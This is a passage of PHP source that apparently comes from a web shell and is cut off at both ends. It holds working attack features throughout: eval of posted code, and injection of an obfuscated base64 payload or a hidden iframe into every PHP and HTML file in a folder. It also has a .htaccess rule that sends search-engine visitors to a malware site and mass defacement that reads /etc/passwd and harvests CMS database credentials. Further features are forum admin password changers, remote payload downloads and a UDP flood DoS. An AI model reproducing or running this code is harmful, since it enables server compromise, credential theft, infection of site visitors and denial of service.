				if(!mail($_POST[\'to\'],$_POST[\'subject\'].$subjectPadd,$_POST[\'message\'].$messagePadd,"From:".$from))
				{
					$error = 1;
					echo "<center><font  size=3><blink><blink>Some Error Occured!</blink></font></center>";
					break;
				}
			}
			if($error != 1)
				echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
		}
	}
	else if($_POST[\'mailfunction\'] == "massmailing")
	{
		if(isset($_POST[\'to\']) &&  isset($_POST[\'from\']) &&  isset($_POST[\'subject\']) && isset($_POST[\'message\']))
		{
   			if(mail($_POST[\'to\'],$_POST[\'subject\'],$_POST[\'message\'],"From:".$_POST[\'from\']))
        	    echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
        	else
        	    echo "<center><font  size=3><blink>Some Error Occured!</blink></font></center>";
		}
	}
}
else if(isset($_POST[\'code\']))
{
	if($_POST[\'code\'] != null && isset($_POST[\'intext\']) && $_POST[\'intext\'] == "true")
	{
		// FIlter Some Chars we dont need
		?><br>
		<textarea name="code" class="box" cols="120" rows="10"><?php 
		$code = str_replace("<?php","",$_POST[\'code\']);
		$code = str_replace("<?","",$code);
		$code = str_replace("?>","",$code);
	
		// Evaluate PHP CoDE!
		htmlspecialchars(eval($code));
		?>
		</textarea><?php 
	}
	else if($_POST[\'code\'] != null && $_POST[\'intext\'] == "false")
	{
		$code = str_replace("<?php","",$_POST[\'code\']);
		$code = str_replace("<?","",$code);
		$code = str_replace("?>","",$code);

		// Evaluate PHP CoDE!
		?><br><font  size="4">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval($code)); ?></font><?php
	}
}
else if(isset($_GET[\'infect\']))
{
	$mal_code="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";
	$coun = 0;
	foreach (glob($_GET[\'path\'] . $directorysperator . "*.php") as $injectj00) 
    {
		if($injectj00 == getcwd().$_SERVER[\'SCRIPT_NAME\'])
			continue;
	    if($myfile=fopen($injectj00,\'a\'))
	    {
			fputs($myfile, gzuncompress(base64_decode($mal_code)));
			fclose($myfile);
			$coun = 1;
	    }
    }
    foreach (glob($_GET[\'path\'] . $directorysperator . "*.htm") as $injectj00) 
    {
	   if($myfile=fopen($injectj00,\'a\'))
	   {	
	    	fputs($myfile, gzuncompress(base64_decode($mal_code)));
		fclose($myfile);
		$coun = 1;
	   }
	}
	foreach (glob($_GET[\'path\'] . $directorysperator . "*.html") as $injectj00) 
	{
		if($myfile=fopen($injectj00,\'a\'))
		{
			 fputs($myfile, gzuncompress(base64_decode($mal_code)));
			 fclose($myfile);
			 $coun = 1;
		}
	 }
	if($coun == 1)
		echo "<center>Done !!!!<center>";
	else
		echo "<center>Cannot open files !!!!<center>";
}
else if(isset($_GET[\'infectiframe\']))
{
	$coun = 0;
	$str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
	foreach (glob($_GET[\'path\'] . $directorysperator . "*.php") as $injectj00) 
    {
		if($injectj00 == getcwd().$_SERVER[\'SCRIPT_NAME\'])
			continue;
	    if($myfile=fopen($injectj00,\'a\'))
	    {
			fputs($myfile, $str);
			fclose($myfile);
			$coun = 1;
	    }
    }
    foreach (glob($_GET[\'path\'] . $directorysperator . "*.htm") as $injectj00) 
    {
	   if($myfile=fopen($injectj00,\'a\'))
	   {	
	    	fputs($myfile, $str);
		fclose($myfile);
		$coun = 1;
	   }
	}
	foreach (glob($_GET[\'path\'] . $directorysperator . "*.html") as $injectj00) 
	{
		if($myfile=fopen($injectj00,\'a\'))
		{
			 fputs($myfile, $str);
			 fclose($myfile);
			 $coun = 1;
		}
	 }
				 

	if($coun == 1)
		echo "<center>Done !!!!<center>";
	else
		echo "<center>Cannot open files !!!!<center>";
}
else if(isset($_GET[\'redirect\']))
{
	if($myfile = fopen(".htaccess",\'a\'))
	{
		$mal = "# BEGIN WordPress
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* ".$malsite." [R,L]

";
		fwrite($myfile, $mal);
		fclose($myfile);
		echo "<center>Done !!!!<center>";
	}
	else
		echo "<center>Cannot open file !!!!<center>";
}
else if(isset($_GET[\'malware\']))
{ ?>
	<input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
	<center><table><tr><td><a href=# onClick="malwarefun(\'infect\')"><font class=txt size="4">| Infect Users |</font></a></td>
	<td><a href=# onClick="malwarefun(\'infectiframe\')"><font class=txt size="4">| Infect Users with Iframe |</font></a></td>
	<td><a href=javascript:void(0) onClick="malwarefun(\'redirect\')"><font class=txt size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
	<div id="showmal"></div>
	<?php
}	
else if(isset($_GET[\'codeinsert\']))
{
	if($file1 = fopen(".htaccess",\'r\'))
	{
	?><div id="showcode"></div>
	<form method=post>
	<textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
	<input type="button" onClick="codeinsert(code.value)" value="  Insert  " class=but>
	</form>
	<?php }
	else
		echo "<center>Cannot Open File!!</center>";
}
else if(isset($_POST[\'getcode\'])) 
{
	 if($myfile = fopen(".htaccess",\'a\'))
	{
		fwrite($myfile, $_POST[\'getcode\']);
		fwrite($myfile, "

");
		fclose($myfile);
		echo "<font class=txt>Code Inserted Successfully!!!!</font>";
	}
	else
		echo "Permission Denied";
}
else if(isset($_GET[\'uploadurl\']))
{
	$functiontype = trim($_GET[\'functiontype\']); 
	$wurl = trim($_GET[\'wurl\']); 
	$path = magicboom($_GET[\'path\']); 
	
	function remotedownload($cmd,$url)
	{ 
		$namafile = basename($url); 
		switch($cmd) 
		{ 
			case \'wwget\': 
				execmd(which(\'wget\')." ".$url." -O ".$namafile);
				break; 
			case \'wlynx\': 
				execmd(which(\'lynx\')." -source ".$url." > ".$namafile);
				break; 
			case \'wfread\' : 
				execmd($wurl,$namafile);
				break; 
			case \'wfetch\' : 
				execmd(which(\'fetch\')." -o ".$namafile." -p ".$url);
				break; 
			case \'wlinks\' : 
				execmd(which(\'links\')." -source ".$url." > ".$namafile);
				break; 
			case \'wget\' : 
				execmd(which(\'GET\')." ".$url." > ".$namafile);
				break; 
			case \'wcurl\' : 
				execmd(which(\'curl\')." ".$url." -o ".$namafile);
				break; 
			default: 
			break; 
		} 
		return $namafile; 
	}
	$namafile = remotedownload($functiontype,$wurl); 

	$fullpath = $path . $directorysperator . $namafile;
	if(is_file($fullpath)) 
	{ 
		echo "<center><font class=txt>File uploaded to $fullpath</font></center>"; 
	} 
	else 
		echo "<center>Failed to upload $namafile</center>"; 
}
else if(isset($_GET[\'createfolder\']))
{
	if(!mkdir($_GET[\'createfolder\']))
			echo \'<BR>Failed To create<BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR><BR>\';
	else
		echo \'<BR><font class=txt>Folder Created Successfully</font><BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR><BR>\';
}
else if(isset($_GET[\'selfkill\']))
{
	if(unlink($curfile))
		echo "<br><center><font size=5>Good Bye......</font></center>";
	else
		echo "<br><center><font size=5>Shell cannot be removed......</font></center>";
}
else if(isset($_GET[\'Create\']))
{
	?><BR>
	<form method="post">
		<input type="hidden" name="filecreator" value="<?php echo $_GET[\'Create\']; ?>">
		<textarea name="filecontent" rows="12" cols="100" class="box"></textarea><br />
        <input type="button" onClick="createfile(filecreator.value,filecontent.value)" value="  Save " class="but"/>
		<input name="save" type="button" onClick="cancel()" value="Cancel" id="spacing" class="but"/>
  </form>
		
<?php }
else if(isset($_GET[\'readfile\']))
{
	if(is_file($_GET[\'readfile\']))
	{
		$owner = "0/0";
		if($os == "Linux")
			$owner = getOGid($_GET[\'readfile\']);
		?>
			<form>
			<table style="width:57%;">
				<tr align="left">
					<td align="left">File : </td><td><font class=txt><?php echo $_GET[\'readfile\'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction(\'perms\',\'<?php echo addslashes($_GET[\'readfile\']); ?>\')"><?php echo filepermscolor($_GET[\'readfile\']);?></a></td>
				</tr>
				<tr>
					<td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET[\'readfile\']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td> 
				</tr>
			</table>
			<textarea name="content" rows="15" cols="100" class="box"><?php
			$content = htmlspecialchars(file_get_contents($_GET[\'readfile\']));
			if($content)
			{
				echo $content;
			}
			else if(function_exists(\'fgets\') && function_exists(\'fopen\') && function_exists(\'feof\'))
			{
				if(filesize($_GET[\'readfile\']) != 0 )
				{
					fopen($_GET[\'readfile\']);
					while(!feof())
					{
						echo htmlspecialchars(fgets($_GET[\'readfile\']));
					}
				}
			}
	
			?>
			</textarea><br />
			<input name="save" type="button" onClick="savemyfile(\'<?php echo addslashes($_GET[\'readfile\']); ?>\',content.value)" value="Save Changes" id="spacing" class="but"/>
			<input type="button" onClick="cancel()" value="cancel" class="but" />
			</form>
    <?php
	}
	else
		echo \'<BR><input name="save" type="button" onClick="cancel()" value=" OK " id="spacing" class="but"/><BR>File does not exist !!!!<BR>\';
}
else if(isset($_POST[\'filecreator\'])&&isset($_POST[\'filecontent\']))
{
	$content = $_POST[\'filecontent\'];
	if($file_pointer = fopen($_POST[\'filecreator\'], "w+"))
	{
		fwrite($file_pointer, $content); 
		fclose($file_pointer);
		echo "<font class=txt>File Created Successfully</font>";
	}
	else
		echo "Cannot Create File";
}
else if(isset($_REQUEST["massdeface"]))
{
?><center><table><tr><td><a href=# onClick="getmydefacedata(\'masswp\')"><font class=txt size="4">| Wordpress |</font></a></td>
	<td><a href=# onClick="getmydefacedata(\'massjo\')"><font class=txt size="4">| Joomla |</font></a></td>
	<td><a href=# onClick="getmydefacedata(\'massvb\')"><font class=txt size="4">| Vbulletin |</font></a></td>
	</tr></table></center><br><div id="showmydeface"></div><?php
}
else if(isset($_REQUEST["masswp"]))
{
	?><center><form method="post">
	<textarea id="massdef" cols=80 rows="19" class="box">You Just Got Hacked</textarea>
	<br><input type="button" onClick="massdeface(\'domasswp\',massdef.value)" class="but" value="   Go   "></form></center><br><div id="showdef"></div><?php 
}
else if(isset($_REQUEST["massjo"]))
{
	?><center><form method="post"><textarea id="massdef" cols=80 rows="20" class="box">You Just Got Hacked</textarea>
	<br><input type="button" onClick="massdeface(\'domassjo\',massdef.value)" class="but" value="   Go   "></form></center><br><div id="showdef"></div><?php 
}
else if(isset($_REQUEST["massvb"]))
{
	?><center><form method="post"><textarea id="massdef" cols=80 rows="20" class="box">You Just Got Hacked</textarea>
	<br><input type="button" onClick="massdeface(\'domassvb\',massdef.value)" class="but" value="   Go   "></form></center><br><div id="showdef"></div><?php 
}
else if(isset($_REQUEST["massscript"]))
{
	if($os != "Windows")
	{
		$url = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
		$path=explode(\'/\',$url);
		$url =str_replace($path[count($path)-1],\'\',$url);
		
		if($_REQUEST["massscript"] == "domasswp")
		{
			echo "<center><table border=1 style=\'width:70%;\'><tr align=center><th>Site</th><th>Message</th><tr>";
			mkdir("dhanush");
			chdir("dhanush");
			execmd("ln -s / root");
			$file3 = \'Options all 
	 DirectoryIndex Sux.html 
	 AddType text/plain .php 
	 AddHandler server-parsed .php 
	  AddType text/plain .html 
	 AddHandler txt .html 
	 Require None 
	 Satisfy Any        
	\';
			$fp3 = fopen(\'.htaccess\',\'w\');
			$fw3 = fwrite($fp3,$file3);
			@fclose($fp3);
			if(@file(\'/etc/passwd\'))
			{
				$users = file(\'/etc/passwd\');
				foreach($users as $user) 
				{
					$user = explode(\':\', $user);
					
					$conf = @file_get_contents($url."dhanush/root/home/".$user[0]."/public_html/wp-config.php");
					if(entre2v2($conf,"define(\'DB_USER\', \'","\');"))
						changeindexwp($conf,$_REQUEST[\'massdef\']);
				}
			}
			else
			{
				$temp = "";
				$val1 = 0;
				$val2 = 1000;
				for(;$val1 <= $val2;$val1++) 
				{
					$uid = @posix_getpwuid($val1);
					if ($uid)
						 $temp .= join(\':\',$uid)."
";
				}
						
				$temp = trim($temp);
						 
				if($file5 = fopen("test.txt","w"))
				{
					fputs($file5,$temp);
					fclose($file5);
					 
					$file = fopen("test.txt", "r");
					while(!feof($file))
					{
					 	$s = fgets($file);
						$matches = array();
						$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
						$matches = str_replace("home/","",$matches[1]);
						if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
							continue;
							$conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/wp-config.php");
							if(entre2v2($conf,"define(\'DB_USER\', \'","\');"))
								changeindexwp($conf,$_REQUEST[\'massdef\']);
					}
					fclose($file);
				}
			}
		}
		elseif($_REQUEST["massscript"] == "domassjo")
		{
			mkdir("dhanush");
			chdir("dhanush");
			$d0mains = @file("/etc/named.conf");
			if($d0mains)
			{
				$defcount = 0;
				echo "<center><table border=1 style=\'width:80%;\'><tr align=center><th>Login new info</th><th>Login info</th><th>Site</th><th>Message</th><tr>";
				foreach($d0mains as $d0main)
				{
					if(eregi("zone",$d0main))
					{
						preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
						flush();
							
						if(strlen(trim($domains[1][0])) > 2)
						{ 
							$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
							$conf = @file_get_contents($url."dhanush/root/home/".$user[\'name\']."/public_html/configuration.php");
							if(entre2v2($conf,$dol."user = \'","\';"))
								changeindexjo($conf,$_REQUEST[\'massdef\'],$domains[1][0]);
						}
					}
				}
				echo \'</table><br><h3>\'.$defcount.\' sites defaced</h3>\';
			}
			else
				echo "Cannot Read /etc/named.conf";
		}
		elseif($_REQUEST["massscript"] == "domassvb")
		{
			mkdir("dhanush");
			chdir("dhanush");
			echo "<center><table border=1 style=\'width:70%;\'><tr align=center><th>Site</th><th>Message</th><tr>";
		
			if(@file(\'/etc/passwd\'))
			{
				$users = file(\'/etc/passwd\');
				foreach($users as $user) 
				{
					$user = explode(\':\', $user);
					$conf = @file_get_contents($url."dhanush/root/home/".$user[\'0\']."/public_html/includes/config.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
					$conf = @file_get_contents($url."dhanush/root/home/".$user[\'0\']."/public_html/vb/configuration.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
					$conf = @file_get_contents($url."dhanush/root/home/".$user[\'0\']."/public_html/forum/configuration.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
					$conf = @file_get_contents($url."dhanush/root/home/".$user[\'0\']."/public_html/core/configuration.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
					$conf = @file_get_contents($url."dhanush/root/home/".$user[\'0\']."/public_html/vb/core/configuration.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
				}
			}
			else
			{
				$temp = "";
				$val1 = 0;
				$val2 = 1000;
				for(;$val1 <= $val2;$val1++) 
				{
					$uid = @posix_getpwuid($val1);
					if ($uid)
						 $temp .= join(\':\',$uid)."
";
				}
						
				$temp = trim($temp);
						 
				if($file5 = fopen("test.txt","w"))
				{
					fputs($file5,$temp);
					fclose($file5);
					 
					$file = fopen("test.txt", "r");
					while(!feof($file))
					{
					 	$s = fgets($file);
						$matches = array();
						$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
						$matches = str_replace("home/","",$matches[1]);
						if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
							continue;
							$conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/includes/config.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
					$conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/vb/configuration.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
					$conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/forum/configuration.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
					$conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/core/configuration.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
					$conf = @file_get_contents($url."dhanush/root/home/".$matches."/public_html/vb/core/configuration.php");
					if(entre2v2($conf,"[\'MasterServer\'][\'username\'] = \'","\';"))
						changeindexvb($conf,$_REQUEST[\'massdef\']);
							changeindexvb($conf,$_REQUEST[\'massdef\']);
					}
					fclose($file);
				}
			}
		}
		echo "</table><center>";
	}
	else
		echo "<center>Cannot do mass deface</center>";
}
else if(isset($_REQUEST["defaceforum"]))
{ 
	?>
	<center><div id="showdeface"></div>
	<font size="4">Forum Index Changer</font>
	<form action="<?php echo $self; ?>" method = "POST">
		<input type="hidden" name="forum">
		<input type="hidden" name="defaceforum">
		<table class=btmtbl border = "1" width="60%" style="text-align: center;" align="center"> 
			<tr>
				<td height="50" width="50%"> Host : <input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
				
				<td width="50%"> Database : <input type ="text" class="sbox" name = "f2" size="20"></td></tr>										 					
				<tr><td height="50" width="50%">User : <input type ="text" class="sbox" name = "f3" size="20"> </td>
				<td> Password : <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
			
				<tr><td height="50" width="50%">Type : 
				<select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
					<option value="vb">vbulletin</option>
					<option value="mybb">Mybb</option>
					<option value="smf">SMF</option>
					<option value="ipb">IPB</option>
					<option value="wp">Wordpress</option>
					<option value="joomla">Joomla</option>
				</select></td>
				<td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td></td>
				
			</tr>
			<tr>
				<td height="167" width="50%" colspan=2>
				<div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" id="siteurl" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
					
				<div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
				
				</div>
			
				<p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center">
				<input type="button" onClick="forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,f5.value)" class="but" value = "Hack It">
			</td>
		</tr>
	</table>
	</form>
		</center>	
	<?php 
		}
		else if(isset($_GET["passwordchange"]))
		{
			echo "<center>";
			?>
			<div id="showchangepass"></div>
			<font size="4">Forum Password Changer</font>
			<form onSubmit="changeforumpassword(\'forumpass\',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uname.value,newpass.value);return false;">
			<table class=btmtbl border = "1" width="60%" height="246" style="text-align: center;" align="center"> 
				<tr>
					<td height="50" width="50%"> Host : <input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50">  DataBase : <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> User : <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> Password : <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
					<tr>
					<td height="50" width="50%">Type : 
					<select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
					<option value="vb">vbulletin</option>
					<option value="mybb">Mybb</option>
					<option value="smf">SMF</option>
					<option value="ipb">IPB</option>
					<option value="phpbb">PHPBB</option>
					<option value="wp">Wordpress</option>
					<option value="joomla">Joomla</option>
					</select></td>
					<td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td>
				</tr>
				<tr>
					<td colspan=2 height="100" width="780">
					
					<p align="center"><div id="fid" style="display:block;">User ID : <input class="sbox" type="text" name="ipbuid" size="20" value="1"> New Password : <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
					
					<div id="joomla" style="display:none;">New Username : <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> New Password : <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
					
					<div id="wpress" style="display:none;"><p>New Username : <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"> New Password : <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p></div>
					
					<p><input type = "button" onClick="changeforumpassword(\'forumpass\',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uname.value,newpass.value)" class="but" value = "  Change IT  " name="forumpass"></p></td>
				</tr>
			</table>
			</form>
		</center>	
			<?php
}
else if(isset($_GET[\'dosser\']))
{
	if(isset($_GET[\'ip\']) &&  isset($_GET[\'exTime\']) && isset($_GET[\'port\']) && isset($_GET[\'timeout\']) && isset($_GET[\'exTime\']) && $_GET[\'exTime\'] != "" &&
		$_GET[\'port\'] != "" && $_GET[\'ip\'] != "" &&	$_GET[\'timeout\'] != "" && $_GET[\'exTime\'] != ""	)
	{
		   $IP=$_GET[\'ip\'];
		   $port=$_GET[\'port\'];
		   $executionTime = $_GET[\'exTime\'];
		   $no0fBytes = $_GET[\'no0fBytes\'];
		   $data = "";
		   $timeout = $_GET[\'timeout\'];
		   $packets = 0;
		   $counter = $no0fBytes;
		   $maxTime = time() + $executionTime;;
		   while($counter--)
		   {
				$data .= "X";
		   }
		   $data .= " Dhanush"; 
		   
		   while(1)
		   {
				$socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
				if($socket)
				{
					fwrite($socket , $data);
					fclose($socket);
					$packets++;
				}
				if(time() >= $maxTime)
				{
					break;
				}
			}
			echo "Dos Completed!<br>";
			echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
			echo "Total Number of Packets Sent : " . $packets . "<br />";
			echo "Total Data Sent = ". HumanReadableFilesize($packets*$no0fBytes) . "<br />"; 
			echo "Data per packet = " . HumanReadableFilesize($no0fBytes) . "<br />";
	}
}
else if(isset($_GET[\'fuzzer\']))
{
